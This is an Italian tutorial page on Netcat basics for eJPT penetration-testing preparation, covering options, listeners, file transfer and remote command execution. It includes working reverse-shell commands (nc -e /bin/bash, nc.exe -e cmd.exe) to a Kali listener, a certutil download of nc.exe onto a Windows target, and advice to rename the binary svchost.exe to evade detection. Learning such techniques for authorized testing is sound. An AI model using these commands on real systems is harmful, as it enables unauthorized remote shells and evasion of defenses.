Tutorials
Netcat Fundamentals – Guida Approfondita
Netcat noto anche come nc è uno degli strumenti più versatili e potenti per l'amministrazione di rete, il pentesting e il trasferimento dati. Di seguito una guida completa sull'utilizzo di Netcat, arr
#exploitation
Netcat Fundamentals – Guida Approfondita
Netcat (noto anche come nc) è uno degli strumenti più versatili e potenti per l'amministrazione di rete, il pentesting e il trasferimento dati. Di seguito una guida completa sull'utilizzo di Netcat, arricchita con esempi pratici, spiegazioni tecniche e opzioni avanzate per la tua preparazione eJPT.
1. Opzioni Principali
| Opzione | Descrizione |
-v | Verbose output (mostra informazioni di connessione) |
-n | Non risolve nomi host via DNS |
-l | Imposta Netcat in modalità listener (ascolto) |
-p | Specifica la porta (va usata con -l) |
-u | Utilizza il protocollo UDP anziché TCP |
-e | Esegue un comando dopo la connessione (potenzialmente pericolosa) |
2. Connessioni TCP e UDP
- Connettersi a un IP su una porta specifica:
bash
nc 192.168.1.3 80- Con connessione verbose:
bash
nc -nv 192.168.1.3 80- Connessione UDP:
bash
nc -nvu 192.168.1.3 1393. Listener TCP e UDP
- Avviare un listener TCP:
bash
nc -lvnp 4444- Avviare un listener UDP:
bash
nc -lvnup 4444- Connettersi al listener TCP da una macchina Windows:
cmd
nc.exe -nv 192.168.1.2 4444- Connettersi al listener UDP da Windows:
cmd
nc.exe -nvu 192.168.1.2 44444. Trasferimento di File
- Sul sistema ricevente:
bash
nc -lvnp 4444 > nomefile.txt- Sul sistema mittente:
bash
nc -nv 192.168.1.3 4444 < nomefile.txt⚠️ Attenzione: il trasferimento via netcat è non cifrato. Evitare file sensibili su reti insicure.
5. Esecuzione Remota di Comandi (con -e)
❌ Questa funzione può essere disabilitata in alcune versioni di netcat per motivi di sicurezza. Usare con cautela.
- Shell remota reverse:
bash
# Listener su Kali:
nc -lvnp 4444
Reverse shell sulla macchina target:
nc -e /bin/bash 192.168.1.2 4444- Per Windows:
cmd
nc.exe -e cmd.exe 192.168.1.2 44446. Deploy di Netcat su Sistemi Windows
- Il file
nc.exepuò essere reperito su Linux alla path:
bash
/usr/share/windows-binaries/- Per trasferire nc.exe a una macchina Windows:
1. Avviare un web server su Kali:
bash
python3 -m http.server 80002. Scaricare da Windows:
cmd
certutil -urlcache -f http://192.168.1.2:8000/nc.exe nc.exe7. Alternative e Considerazioni
- Netcat Traditional vs OpenBSD Netcat:
-e non è presente su netcat-openbsd).
- Sostituti avanzati:
ncat (parte di Nmap)
- socat (per connessioni cifrate o più complesse)
- plink (strumento SSH di PuTTY per Windows)
8. Best Practice nel Pentesting
- Cambiare nome a
nc.exeuna volta copiato sul target (es.svchost.exe) per ridurre il rischio di detection.
- Preferire la reverse shell a connessione diretta per superare firewall o NAT.
- Validare sempre la presenza di antivirus/EDR che potrebbero bloccare nc.exe o le connessioni in chiaro.